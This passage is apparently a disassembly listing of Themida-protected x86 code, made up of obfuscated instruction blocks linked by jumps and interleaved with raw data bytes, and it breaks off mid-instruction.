loc_5643FA ; --------------------------------------------------------------------------- db 1 dd 2434FFF0h, 0E924348Bh, 0FFFF3DDDh ; --------------------------------------------------------------------------- loc_575144: ; CODE XREF: Themida_:0056B63Ej sub dword ptr [esp], 202F57E2h pop esi add esi, 202F57E2h mov eax, esi pop esi push dword ptr [esp] jmp loc_56A750 ; --------------------------------------------------------------------------- db 57h, 50h, 68h dd 0C956547h, 0D6F79658h, 8FBD5596h, 0C14B953Dh, 0ED8106EDh dd 38297A5Ah, 0FECA02E9h db 0FFh ; --------------------------------------------------------------------------- loc_57517D: ; CODE XREF: Themida_:00568A66j sub edx, 63511436h mov ebp, [esp] jmp loc_562A25 ; --------------------------------------------------------------------------- db 0D1h dd 0F7C781EFh, 31363B99h, 0CB895FF9h, 83240C8Bh, 0E38104C4h dd 31C8324Fh, 46EB81h, 0ED813000h, 1FB34C23h, 335BED81h dd 0DD015E6Fh, 335BB850h, 0C5015E6Fh, 0E924048Bh, 0FFFF35B4h ; --------------------------------------------------------------------------- loc_5751C8: ; CODE XREF: Themida_:005676BEj mov ebx, 2DB6DC3h add edx, 14354505h add edx, ebx sub edx, 14354505h jmp loc_575FDB ; --------------------------------------------------------------------------- dd 0BB45059h, 6658E328h, 52E2B652h, 0C3802CB2h, 80D328BBh dd 148BBBEBh, 4C48324h, 0FF069AE9h, 557FBDFFh, 0FAE942F1h dd 5CFFFF49h, 1AA86851h, 14890000h, 0E0895024h, 405h, 4E88300h dd 0FF08ACE9h db 0FFh ; --------------------------------------------------------------------------- loc_575225: ; CODE XREF: Themida_:00563F07j pop ebp mov esi, edx mov edx, [esp] jmp loc_574238 ; --------------------------------------------------------------------------- dd 24148B5Fh, 4C481h, 0DAE90000h, 0E9FFFEF9h, 0FFFEBDFEh ; --------------------------------------------------------------------------- loc_575244: ; CODE XREF: Themida_:00565F4Aj xor bh, 0A4h sub bh, 70h sub bh, 7Eh sub al, bh jmp loc_56A1C7 ; --------------------------------------------------------------------------- dd 0E95AD689h, 0FFFEEC13h ; --------------------------------------------------------------------------- loc_57525C: ; CODE XREF: Themida_:00571780j push 42AF58EDh mov ecx, [esp] add esp, 4 sub edi, ecx pop ecx jmp loc_5622EF ; --------------------------------------------------------------------------- db 29h dd 424A2DF0h, 39E926C6h, 56FFFFF0h, 7B61BFBEh, 27CE813Fh dd 461AE506h, 0DEF7EED1h, 0E904E6C1h, 0FFFF1C8Fh, 8704C083h dd 665C2404h, 5124148Bh, 4EC81h, 0AE90000h, 5AFFFF35h dd 122CE581h, 1C681431h, 8900007Dh, 0E1B9240Ch, 0E9CB57E8h dd 0FFFFCE72h, 0C5C4E953h, 0F8B8FFFFh, 407E327Eh, 4B0DD8F7h dd 2D48C733h, 7AF46A7Dh, 0F1BD9135h, 0AFBEE94Eh, 0C15EFFFFh dd 0E3E904EAh, 8BFFFFF8h, 0F662424h, 9C2404B3h, 0FEBD45E9h db 0FFh ; --------------------------------------------------------------------------- loc_5752FD: ; CODE XREF: Themida_:0056FCF7j not esi xchg esi, edx xor ebx, edx jmp loc_561FB3 ; --------------------------------------------------------------------------- dd 2474FF56h, 37CCE904h, 805AFFFFh, 9BE957C3h, 8BFFFF07h dd 0C4812404h, 4, 147CE9h, 24143300h, 2924248Bh, 2434FFE8h dd 0FF2434FFh, 835D2434h, 0C48304C4h, 4C48104h, 56000000h dd 3F4C68h, 242C8900h, 0FF0FFDE9h, 0BCE8E9FFh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_57535A: ; CODE XREF: Themida_:0056BECFj mov eax, [esp] add esp, 4 add edx, 4 push edx push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] pop esp push edx jmp loc_56C8C5 ; --------------------------------------------------------------------------- dw 0B753h dd 5BFE8881h, 0FE88C680h, 0EF1FE9C6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57538E: ; CODE XREF: Themida_:0056DE8Cj dec ecx and ecx, 5F252AE3h xor ecx, 1D651511h jmp loc_57269C ; --------------------------------------------------------------------------- dd 31242C33h, 2C33242Ch, 24248B24h, 0FFA7E7E9h db 0FFh ; --------------------------------------------------------------------------- loc_5753B1: ; CODE XREF: Themida_:00574A9Fj push ebp mov ebp, 70EC5ABDh not ebp xor ebp, 8055F896h mov eax, ebp pop ebp jmp loc_561AC6 ; --------------------------------------------------------------------------- db 89h dd 5051242Ch, 1C1E9h db 0 ; --------------------------------------------------------------------------- loc_5753D1: ; CODE XREF: Themida_:005617B7j add ecx, ebp pop ebp xor ecx, 9DDE57C4h add edx, ecx mov ecx, [esp] jmp loc_56B3C1 ; --------------------------------------------------------------------------- loc_5753E4: ; CODE XREF: Themida_:00574A20j add edi, 1FFC1A07h push ecx mov ecx, 3DAC0BEDh sub edi, 5FA72A87h sub edi, ecx add edi, 5FA72A87h pop ecx xor esi, edi pop edi push esi add dword ptr [esp], 56921174h pop edi sub edi, 56921174h mov esi, [esp] push 1442h mov [esp], eax mov eax, esp push edi mov edi, 67894C42h neg edi jmp loc_56473F ; --------------------------------------------------------------------------- loc_57542B: ; CODE XREF: Themida_:00566978j sub eax, 4 xor eax, [esp] xor [esp], eax jmp loc_57395F ; --------------------------------------------------------------------------- db 88h, 22h, 8Bh dd 0C4812414h, 4, 2434FF58h, 0FF3179E9h, 241487FFh, 240C895Ch dd 0FFF7F0E9h, 146858FFh, 8900003Ah, 58542404h, 384E68h dd 24148900h, 0FF2073E9h db 0FFh ; --------------------------------------------------------------------------- loc_575471: ; CODE XREF: Themida_:005707EBj mov bh, 0C1h sub ah, bh pop bx sub ah, 0F4h jmp loc_5656A5 ; --------------------------------------------------------------------------- loc_57547F: ; CODE XREF: Themida_:00564A89j push edx mov dh, 0A0h mov cl, 0A1h sub cl, dh pop edx jmp loc_5617F5 ; --------------------------------------------------------------------------- loc_57548C: ; CODE XREF: Themida_:0056F198j sub esp, 4 mov [esp], ebp jmp loc_56BCE0 ; --------------------------------------------------------------------------- loc_57549A: ; CODE XREF: Themida_:005764C6j add ebp, ebx pop ebx add ebp, 4 xor ebp, [esp] jmp loc_56B74D ; --------------------------------------------------------------------------- db 5Bh dd 8124148Bh, 4C4h, 242C8700h, 0E924248Bh, 0FFFEBB82h dd 0E92434FFh, 0FFFF4755h, 0E904C483h, 0FFFFF286h, 24045A66h dd 0FEDE83E9h, 0C5815DFFh, 4, 8704C583h, 0E95C242Ch, 0FFFF629Bh dd 0BC07E959h, 2C31FFFEh, 242C3324h, 642E9h, 0CBE94E00h db 0E6h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_575503: ; CODE XREF: Themida_:00564364j mov ebx, [esp] add esp, 4 push 3439h mov [esp], ecx push eax mov ah, 84h shr ah, 1 shr ah, 5 push dx mov dh, 0FFh sub ah, dh mov dx, [esp] add esp, 2 push ebx jmp loc_564C42 ; --------------------------------------------------------------------------- loc_57552C: ; CODE XREF: Themida_:0056C068j mov esi, [esp] add esp, 4 xchg edx, [esp] mov esp, [esp] jmp loc_561042 ; --------------------------------------------------------------------------- dd 0E94D5A58h, 0FFFFBAA2h, 895DE801h, 64BD58C2h, 81FA8896h dd 71200EEDh, 68D5015Bh, 21CDh, 0FF99FAE9h, 14875BFFh dd 0D0315C24h, 0E924148Bh, 0FFFF05C4h ; --------------------------------------------------------------------------- loc_575574: ; CODE XREF: Themida_:005688BCj mov esp, [esp] jmp loc_56FF76 ; --------------------------------------------------------------------------- dd 148BF730h, 4C48124h, 51000000h, 0CF301FB1h, 8C84E959h dd 0F268FFFFh, 8B64CC39h, 0C4832404h, 5C14E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5755A2: ; CODE XREF: Themida_:00562FF9j and eax, edx pop edx shr eax, 0Eh xor eax, ecx jmp loc_568BF5 ; --------------------------------------------------------------------------- loc_5755AF: ; CODE XREF: Themida_:005733ADj xor ebp, [esp] jmp loc_569C9D ; --------------------------------------------------------------------------- db 0BFh dd 4, 0E95FF901h, 0FFFFB9C2h, 0CBE68158h, 50162B26h, 6D56D1B8h dd 40D8F718h, 3098BB53h, 0EBD11181h, 76D1E381h, 0CFE95E09h dd 59FFFFF2h, 148BF400h, 4C48124h, 68000000h, 58ACh, 53240C89h dd 0FD88E788h, 8BEF885Bh, 0C481240Ch, 4, 8324048Bh, 526604C4h dd 0D0281FB2h, 24148B66h, 81E18951h, 4C1h, 0D9E95000h db 31h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57562B: ; CODE XREF: Themida_:0056DC46j mov [esp], edx jmp loc_56C356 ; --------------------------------------------------------------------------- db 88h dd 1AE0E9D5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57563A: ; CODE XREF: Themida_:0056EE83j add edx, edi jmp loc_56E718 ; --------------------------------------------------------------------------- loc_575641: ; CODE XREF: Themida_:0056E7DCj sub dword ptr [esp+4], 160B32DDh add [esp+4], edx jmp loc_56DF42 ; --------------------------------------------------------------------------- dw 0E689h dd 0FF4B8FE9h db 0FFh ; --------------------------------------------------------------------------- loc_575659: ; CODE XREF: Themida_:005654A8j mov dl, 2Fh add bl, dl mov dx, [esp] add esp, 2 sub bl, 0A9h add bl, al add bl, 0A9h push 6592h mov [esp], eax jmp loc_5707DE ; --------------------------------------------------------------------------- db 5Bh, 0FFh, 34h dd 2434FF24h, 0FF1CCAE9h, 0B2C380FFh, 24048B66h, 0FEF82AE9h dd 4C181FFh, 53000000h, 0FEE9B4E9h, 3877FFFFh, 0FF12F6E9h dd 4C781FFh, 0E9000000h, 0FFFEC19Ah, 0DF1049BAh, 0EC83422Dh dd 242C8904h, 0E7290EBDh, 9DE6E962h, 0C781FFFFh, 4, 4EF81h dd 88E90000h, 89FFFF8Dh, 0E368241Ch, 0E9000079h, 0FFFFF5D3h dd 0DA0ABCBFh, 5FF82155h, 0FECC79E9h, 4C483FFh, 88FD8851h dd 1C8B59EAh, 73E76824h, 0D0E90000h, 0E9FFFFFFh, 0FFFEB936h dd 0CD3CF181h, 0CA899F76h, 8B2434FFh, 0CDE9240Ch, 0BFFFFFCDh dd 37CA0A8Bh, 1495E781h, 0E781352Ch, 0CA15203h, 0FEE3F6E9h dd 43B2FFh, 0E071E9D4h, 65B8FFFFh, 5308ED53h, 125E6851h dd 81593D99h, 6A2C3CE9h, 97F1815Bh, 898489DAh, 0DBF759CBh dd 0BA52h, 0B2E90000h db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_575767: ; CODE XREF: Themida_:005622EAj push 6073h mov [esp], ecx sub esp, 4 mov [esp], eax sub esp, 4 jmp loc_56408D ; --------------------------------------------------------------------------- loc_57577D: ; CODE XREF: Themida_:005744D4j mov edx, 1Ch sub esp, 4 mov [esp], esi mov esi, 64A033E4h sub edx, esi push dword ptr [esp] pop esi jmp loc_563842 ; --------------------------------------------------------------------------- dd 0A49C505h, 4EC831Eh, 0E9243C89h, 0FFFEFE99h, 782462BFh dd 3E7C123h, 778FC781h, 0E7815EEDh, 4D1965F2h, 5104EFC1h dd 283083B9h, 36C6E95Ah, 0F759FFFFh, 0CB814BDBh, 16CD2FD3h dd 2414F753h, 9DEB815Bh, 29249818h, 0F3015BDEh, 0FFDF895Eh dd 835B2434h, 0E95604C4h, 0FFFFEF49h ; --------------------------------------------------------------------------- loc_5757F4: ; CODE XREF: Themida_:0056885Aj pop ecx movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- db 61h dd 48B66C3h, 15136824h, 1C890000h, 34FF5424h, 89535B24h dd 4C381E3h, 81000000h, 4C3h, 241C8700h, 0EF3685Ch, 14890000h dd 5BF1BA24h, 0B9513C49h, 3A760CBCh, 0FFDD2BE9h, 0B804E9FFh dd 0E981FFFEh, 1, 0C181D9F7h, 5603DE3h, 0E78DF181h, 0C8299D51h dd 241C8B59h, 5704C483h, 0E046850h, 34FF3FE4h, 24048B24h dd 8304C483h, 54004C4h, 23ED28A8h, 0FF1B30E9h, 0E7CF81FFh dd 81615953h, 7C2492E7h, 0E94F4722h, 0FFFFBB65h ; --------------------------------------------------------------------------- loc_57588C: ; CODE XREF: Themida_:00567BC9j pop esi and edx, 5D3301E1h neg edx push edi mov edi, 78333547h push ebp mov ebp, 5C441F7Dh jmp loc_571101 ; --------------------------------------------------------------------------- dw 2968h dd 8900000Ch, 4BD242Ch, 0E9000000h, 0FFFF69AAh ; --------------------------------------------------------------------------- loc_5758B8: ; CODE XREF: Themida_:0056A1D3j mov [esp], ecx mov ecx, esp push esi mov esi, 4 jmp loc_56F912 ; --------------------------------------------------------------------------- dd 4D0EBA52h, 18E901B2h db 0CBh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5758D3: ; CODE XREF: Themida_:005731C2j pop esi jmp loc_5620EE ; --------------------------------------------------------------------------- db 68h, 20h, 34h dd 0E95B1E82h, 0FFFFBDFCh, 9C240CD2h, 0FFA11EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5758ED: ; CODE XREF: Themida_:00571B6Aj sub esp, 4 mov [esp], ebp mov ebp, 4 sub dword ptr [esp+4], 5BA74757h add [esp+4], ebp push edx jmp loc_56CBED ; --------------------------------------------------------------------------- loc_57590D: ; CODE XREF: Themida_:00561305j pop esp dec edi not edi add edi, 54D51FCBh jmp loc_567841 ; --------------------------------------------------------------------------- dd 0F7F7805Ah, 8B04402Ch, 0FFB8DFE9h db 0FFh ; --------------------------------------------------------------------------- loc_575929: ; CODE XREF: Themida_:005620E9j mov eax, 4 add edi, eax pop eax sub edi, 4 jmp loc_5737D8 ; --------------------------------------------------------------------------- db 29h, 0D8h, 0E9h dd 0FFFFB73Bh, 348DE95Dh, 0E95DFFFFh, 0FFFFE206h, 2414F752h dd 5224148Bh, 0FF259BE9h db 0FFh ; --------------------------------------------------------------------------- loc_575959: ; CODE XREF: Themida_:00564559j xor [esp+4], edi jmp loc_575C75 ; --------------------------------------------------------------------------- dw 0C89h dd 0C8B5424h, 77E95724h db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57596F: ; CODE XREF: Themida_:00570F56j sub bl, dl mov dx, [esp] add esp, 2 sub bl, 0ACh sub bl, al push cx mov cl, 0ACh add bl, cl pop cx push eax mov al, 5Bh push dx mov dh, 39h add al, dh pop dx xor al, 0B4h push eax push ebx mov bl, 93h push ecx jmp loc_572340 ; --------------------------------------------------------------------------- dd 468h, 0C3815900h, 7A9B34D6h, 2507C381h, 7E90164h, 56FFFF29h dd 0BF57E689h, 38EE322Dh, 0F781D7F7h, 0C711CDD6h, 535FFE01h dd 0CB1089BBh, 0BE56572Eh, 299752F4h, 5E5192BFh, 5EF73172h dd 0EF81DFF7h, 7CFC09D4h, 0E781DFF7h, 430F4472h, 462AE947h dd 8B66FFFFh, 8953240Ch, 0A5E952E3h, 0E9FFFEDDh, 0FFFEB63Eh ; --------------------------------------------------------------------------- loc_575A04: ; CODE XREF: Themida_:0056A753j pop ebx add esp, 4 jmp loc_568DFB ; --------------------------------------------------------------------------- loc_575A10: ; CODE XREF: Themida_:00565584j neg bh push cx mov ch, 0B4h xor bh, ch pop cx jmp loc_56E902 ; --------------------------------------------------------------------------- loc_575A1F: ; CODE XREF: Themida_:0056A820j sub edi, ebx pop ebx jmp loc_56D5A9 ; --------------------------------------------------------------------------- loc_575A27: ; CODE XREF: Themida_:0056AED8j sub [esp], eax mov eax, [esp] add esp, 4 sub eax, 0AD73D3F2h mov ebp, eax pop eax and eax, ebp jmp loc_57356B ; --------------------------------------------------------------------------- loc_575A3F: ; CODE XREF: Themida_:00573114j push esp pop ecx add ecx, 4 sub ecx, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], edx push 3071h mov [esp], esp add dword ptr [esp], 4 pop edx jmp loc_56B59D ; --------------------------------------------------------------------------- dd 0A12CC828h, 0E9C7B252h, 0FFFEF0E9h, 68D831ADh, 64B3h dd 0E9243C89h, 0FFFED88Ch, 68049504h, 34FFDD2Ch, 0E9515924h dd 0FFFFF4B5h, 0FEE9F889h, 0B9FFFF40h, 4204E91h, 8159CA21h dd 0D90E38EAh, 0DCEF819Eh, 817EA961h, 241B0EC7h, 63EF810Eh dd 1541F27h, 63C781D7h, 81541F27h, 241B0EEFh, 0DCC7810Eh dd 5A7EA961h, 687EC781h, 0B8501D9Bh, 5E55D29h, 2638770Dh dd 218B0D35h, 0D8F72CAFh, 120C4A35h, 58C7012Eh, 13AE9h dd 0E9E38800h, 0FFFF556Eh, 6824248Bh, 37AFh, 0E9241C89h dd 0FFFFB128h ; --------------------------------------------------------------------------- loc_575B0C: ; CODE XREF: Themida_:005741FCj mov ebp, [esp] add esp, 4 push edx mov edx, esp push edi push ebx mov ebx, 1854234Dh jmp loc_56FEAA ; --------------------------------------------------------------------------- loc_575B24: ; CODE XREF: Themida_:0057221Bj add esp, 4 sub esp, 4 mov [esp], edx jmp loc_56B4D0 ; --------------------------------------------------------------------------- db 0BAh, 4, 0 dd 77E90000h, 5CFFFEC2h, 0BD242C89h, 0 dd 272AED81h, 0B5E92234h, 81FFFEF2h, 0F63130F6h, 54A8E934h dd 0C281FFFFh, 4, 4BF57h, 0C2810000h, 790759D5h, 0FF2A4AE9h dd 81F901FFh, 0E22EEDE9h, 2DD8E963h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_575B82: ; CODE XREF: Themida_:00564B09j add ecx, 4 xchg ecx, [esp] pop esp push edi mov edi, 0C38794Dh jmp loc_567DF5 ; --------------------------------------------------------------------------- loc_575B94: ; CODE XREF: Themida_:00572E20j add esi, 40D44573h jmp loc_56792F ; --------------------------------------------------------------------------- db 87h dd 895C2404h, 74FF2404h, 34FF0424h, 89515824h, 0C35DE9E1h dd 0F381FFFFh, 0A92E80A1h, 41E9DF89h, 29FFFF21h, 59CF87F9h dd 5107E7C1h, 0B7488B9h, 59CF292Ch, 3DACEF81h, 0EF811EFFh dd 784F7257h, 9071EF81h, 0FE01937Ch, 2434335Fh, 33243431h dd 15E92434h db 55h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_575BF7: ; CODE XREF: Themida_:005632E4j push edi pop ecx push dword ptr [esp] pop edi add esp, 4 and eax, ecx push dword ptr [esp] jmp loc_5719AD ; --------------------------------------------------------------------------- dw 895Ch dd 0EABE2434h, 81424A2Ah, 2911BBC3h, 56F3017Dh, 0B73F81BEh dd 3AF68174h, 29099E2Eh, 11E95EF3h, 1FFFF7Fh, 2434FFFDh dd 4C4815Fh, 0E9000000h, 0FFFF74CAh, 1A5768h, 240C8900h dd 337FB1B9h, 17C68118h, 103FB72h, 17EE81CEh, 5903FB72h dd 0EE81FE01h, 18337FB1h, 53243C8Bh, 0C381E389h, 4, 0FFAE10E9h db 0FFh ; --------------------------------------------------------------------------- loc_575C75: ; CODE XREF: Themida_:0057595Dj mov edi, [esp] add esp, 4 jmp loc_574A3C ; --------------------------------------------------------------------------- db 1 dd 0FF6659C8h, 0B3B4E930h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_575C8E: ; CODE XREF: Themida_:0056400Cj mov dl, bh mov cl, dl jmp loc_56AC75 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 4EC8100h, 89000000h, 0A1BD242Ch, 5576A853h, 242C8B51h dd 4C481h, 0E9590000h, 0FFFFAF2Eh ; --------------------------------------------------------------------------- loc_575CBC: ; CODE XREF: Themida_:0056EF5Aj mov [esp], esp add dword ptr [esp], 4 jmp loc_568CF8 ; --------------------------------------------------------------------------- a1slH6 db '1é‹,$h(6',0 align 2 dw 1489h dd 57E28924h, 4BFh, 0C9FAE900h, 0C101FFFFh, 0FEE211E9h dd 5E6C1FFh, 0FFB4B9E9h db 0FFh ; --------------------------------------------------------------------------- loc_575CF1: ; CODE XREF: Themida_:00574216j add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp or eax, eax jz loc_568D4D push 3B30h jmp loc_567789 ; --------------------------------------------------------------------------- dd 4EC81h, 34890000h, 52E68924h, 0FF03E1E9h, 1C281FFh dd 5B0D9444h, 0A9EFE956h, 5954FFFFh, 0FF260CE9h, 99C480FFh dd 0EC80C4FEh, 8BE38877h, 0C4832404h, 66C3FE04h, 3018B652h dd 0E95A66F3h, 0FFFED4F8h, 6759CF81h, 0F781539Ch, 73FF777Dh dd 0E95755h db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_575D67: ; CODE XREF: Themida_:00569863j sub ebx, ecx jmp loc_574AA4 ; --------------------------------------------------------------------------- dw 8B66h dd 0EC81240Ch, 4, 50242C89h, 4CE9E089h, 54FFFEE7h, 4DBE5659h dd 81028732h, 450A89E6h, 0FBC68138h, 1FFFAFDh, 0C181E9F1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_575D9E: ; CODE XREF: Themida_:00574C92j push 79FFh mov [esp], esp add dword ptr [esp], 4 pop ebp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx jmp loc_573C8B ; --------------------------------------------------------------------------- loc_575DC6: ; CODE XREF: Themida_:0056F1E8j mov ebx, [esp] add esp, 4 or edx, eax shl edx, 1 push dword ptr [edi+24h] jmp loc_563181 ; --------------------------------------------------------------------------- db 0B9h dd 4, 5CFCBA52h, 78E9470Fh, 54FFFF5Ah, 81241C8Bh, 4C4h dd 4C26800h, 4890000h, 7D556824h, 2C890000h, 5251E924h dd 0FF5DFFFFh, 835A2434h, 0C8904ECh, 0E9595424h, 0FFFF569Dh dd 0FEB221E9h, 81FB01FFh, 0EC43ACEBh, 243C8B5Ch, 4C481h dd 1C330000h, 0CC5E924h, 3C8B0000h, 4C48324h, 5D1C6F09h dd 0B9515253h, 5710475h, 5759CA89h, 7830AABFh, 247C011Eh dd 54295F08h, 46E90424h, 0F6FFFEE4h, 0C0E680D6h, 0FFF0F7E9h dd 96BA52FFh, 0E9523738h, 0FFFF6C10h, 5204C483h, 5D7DBD55h dd 13BA3C0Dh, 0E9176F57h, 0FFFFAF58h, 5DE9315Fh, 0BFE9CA01h dd 80FFFF68h, 0E95BA7C4h, 0FFFEC8A1h ; --------------------------------------------------------------------------- loc_575EA0: ; CODE XREF: Themida_:00568430j pop ebp push 16C7h mov [esp], ebx pop ebp jmp loc_569BE2 ; --------------------------------------------------------------------------- db 89h dd 0E589242Ch, 4BE56h, 0C5810000h, 3B716965h, 0FFD56DE9h dd 24148BFFh, 5304C483h, 2B850h, 0C3890000h, 0EC9EE958h dd 0E9C1FFFFh, 2CF18103h, 8169EE4Bh, 231659F1h, 0B21DE943h dd 4FE9FFFEh, 5EFFFEB1h, 0FF5554E9h, 243C87FFh, 461E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_575F02: ; CODE XREF: Themida_:005734FBj xor edx, edx push edi push ebx push dword ptr [esp] pop edi jmp loc_5690FE ; --------------------------------------------------------------------------- db 1 dd 0D0E1E9F0h, 487FFFFh, 0EE295C24h, 50C6015Dh, 0FF67BEE9h dd 0BBEB9FFh, 7D6849D0h, 8900007Eh, 0CFBA2414h, 1523E5Ah dd 0E9C15AD1h, 0CBE94107h db 42h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_575F43: ; CODE XREF: Themida_:00570285j add ecx, edx pop edx push 2C92h jmp loc_56DFA5 ; --------------------------------------------------------------------------- loc_575F50: ; CODE XREF: Themida_:0056C2D8j add bl, cl pop ecx sub bl, cl sub bl, 7Ch mov cx, [esp] push ebx mov ebx, esp jmp loc_563EDD ; --------------------------------------------------------------------------- dd 8106EBC1h, 0C428C0F3h, 468AE918h, 3487FFFFh, 551E924h dd 0C4810000h, 4, 0FFCC31E9h db 0FFh ; --------------------------------------------------------------------------- loc_575F85: ; CODE XREF: Themida_:0056568Aj sub ecx, 0CDDA7977h xor eax, ecx pop ecx xor ecx, eax pop eax mov eax, ecx pop ecx shl eax, cl sub esp, 4 jmp loc_56C607 ; --------------------------------------------------------------------------- dw 0EE80h dd 8BF7303Fh, 0C4832414h, 0E96A0404h, 0FFFF3997h, 8102E7C1h dd 1505C4EFh, 5FFB0165h, 2BF57h, 0FB010000h, 0FF08D4E9h db 0FFh ; --------------------------------------------------------------------------- loc_575FC9: ; CODE XREF: Themida_:00569EE6j add esi, ebx pop ebx push edi jmp loc_571770 ; --------------------------------------------------------------------------- dw 5Ah dd 76E958C1h db 20h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_575FDB: ; CODE XREF: Themida_:005751DBj pop ebx sub edx, 82B563Eh add edx, esi add edx, 82B563Eh sub edx, 2DB6DC3h mov esi, [esp] add esp, 4 push esi mov esi, 4 add edx, esi jmp loc_568570 ; --------------------------------------------------------------------------- dw 0E957h dd 0FFFECC91h, 0EE86ED81h, 84E9B96Ch db 34h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_576017: ; CODE XREF: Themida_:005731F0j xor eax, ecx xor eax, edx xor edx, eax xor eax, edx xchg edi, edx not edi push edx push 1D52h mov [esp], edi jmp loc_5739A3 ; --------------------------------------------------------------------------- db 81h, 0C1h, 57h dd 14E3F69h, 57E981C1h, 584E3F69h, 0E959CA01h, 0FFFF8B2Ah ; --------------------------------------------------------------------------- loc_576048: ; CODE XREF: Themida_:0056F031j pop esp xor edi, edx pop edx not edi and edi, 59D1A49h sub edi, 9C0249h jmp loc_573753 ; --------------------------------------------------------------------------- db 4Dh dd 8103EDC1h, 0A07415EDh, 8BEA31E3h, 0C483242Ch, 8BD70104h dd 89512414h, 4C181E1h, 83000000h, 0C8704C1h, 0BE565C24h dd 2, 0FFC619E9h, 48B66FFh, 0E1895124h, 7908BD55h, 0EC8136ABh dd 4, 0E9241C89h, 0FFFF6D90h, 0E9241C31h, 0FFFF355Ch, 4BD55h dd 45E90000h, 5BFFFF54h, 4247C29h, 4246C81h, 7EE0203h dd 4244481h, 65EF5986h, 7BF2BA52h, 4EE956CBh, 31FFFED3h dd 4332404h, 24248B24h, 5FC368h, 24348900h, 0FF3802E9h dd 4C483FFh, 8335E952h, 0BA52FFFFh, 2, 0EBE9D501h, 59FFFF9Fh dd 4E9FB29h, 0FFFFFEC2h, 589D1C77h, 9C240411h, 0FEAF21E9h db 0FFh ; --------------------------------------------------------------------------- loc_576121: ; CODE XREF: Themida_:005635B1j pop edx push esi push 6F2F2618h pop esi shr esi, 2 sub esp, 4 jmp loc_576290 ; --------------------------------------------------------------------------- loc_576134: ; CODE XREF: Themida_:00569F3Ej pop esp jmp loc_56FF94 ; --------------------------------------------------------------------------- dw 0F681h dd 5BEC7B93h, 0C105E6C1h, 0C68102EEh, 6733A9Bh, 0C15EF531h dd 6AE908EDh, 8BFFFEB2h, 0C4812414h, 4, 4EB4C281h, 0EA016A34h dd 0FFBA8EE9h, 428EBBFFh, 0EB811555h, 94B0550h, 0FF56C0E9h dd 0E95251FFh, 540h, 6086E981h, 0C1817021h, 669B629Bh dd 65BBE181h, 0B8503844h, 67112E73h, 0FFDC0DE9h, 148B66FFh dd 4EC8124h, 0E9000000h, 0FFFFF7B2h ; --------------------------------------------------------------------------- loc_5761B0: ; CODE XREF: Themida_:0056A499j add edx, 4 push edi mov edi, 4 jmp loc_570AAA ; --------------------------------------------------------------------------- loc_5761C1: ; CODE XREF: Themida_:00564BC6j mov bh, cl pop ecx mov al, bh mov ebx, [esp] add esp, 4 mov bh, al mov eax, [esp] add esp, 4 push ecx push 7F28h jmp loc_564009 ; --------------------------------------------------------------------------- db 50h, 0B8h, 0BDh dd 297AA364h, 0BD5558C1h, 28277425h, 567EED81h, 0E931AF54h dd 81242C8Bh, 4C4h, 0E9CE3100h, 0FFFEB44Ah, 5259CB09h dd 6E5FBBBAh, 4EC28101h, 0E905BB76h, 0FFFFB103h, 8B1C4F21h dd 0C483240Ch, 0AE14E904h, 0D829FFFEh, 1C54E953h, 34FFFFFFh dd 2F18E924h, 48BFFFFFh, 8164C06Ch, 333E3AE7h, 6BD5512h dd 2900002Ch, 312D5DEFh, 0E9011A64h, 0FFFF3F03h, 24048F5Ch dd 0FF98E9E9h db 0FFh ; --------------------------------------------------------------------------- loc_576265: ; CODE XREF: Themida_:0056352Bj pop dword ptr [esp] push esi mov esi, 4 sub dword ptr [esp+4], 59A66971h add [esp+4], esi jmp loc_5728B9 ; --------------------------------------------------------------------------- db 31h dd 14332414h, 24248B24h, 0E904EC83h, 0FFFECDCFh ; --------------------------------------------------------------------------- loc_576290: ; CODE XREF: Themida_:0057612Fj mov [esp], ebp mov ebp, 332E60B0h and ebp, 53741530h or ebp, 5B003133h jmp loc_57056B ; --------------------------------------------------------------------------- db 59h, 80h, 0F2h dd 75E28066h, 0E9E4C280h, 0FFFF43C1h, 3910685Dh, 14890000h dd 198BBA24h, 0E2D13CC3h, 8108E2C1h, 1D61F9C2h, 0BBBFE987h dd 575FFFFFh, 4BFh, 5FFE2900h, 8B243487h, 1C892424h, 8824B324h dd 2434FFD8h, 0C1E9535Bh db 8Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5762F7: ; CODE XREF: Themida_:0056D93Dj push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ebp mov ebp, 1000000h and eax, ebp push dword ptr [esp] jmp loc_5648E0 ; --------------------------------------------------------------------------- loc_576329: ; CODE XREF: Themida_:0056FA42j mov [esp], edi push esp pop edi add edi, 4 add edi, 4 jmp loc_56D926 ; --------------------------------------------------------------------------- loc_57633C: ; CODE XREF: Themida_:00571F9Dj push edx push esi push 2AD31E39h mov esi, [esp] add esp, 4 not esi shl esi, 6 shl esi, 5 push edi mov edi, 2E683C7Dh shr edi, 3 jmp loc_5683D0 ; --------------------------------------------------------------------------- loc_57635F: ; CODE XREF: Themida_:00574636j push dword ptr [esp] pop edx add esp, 4 or edx, 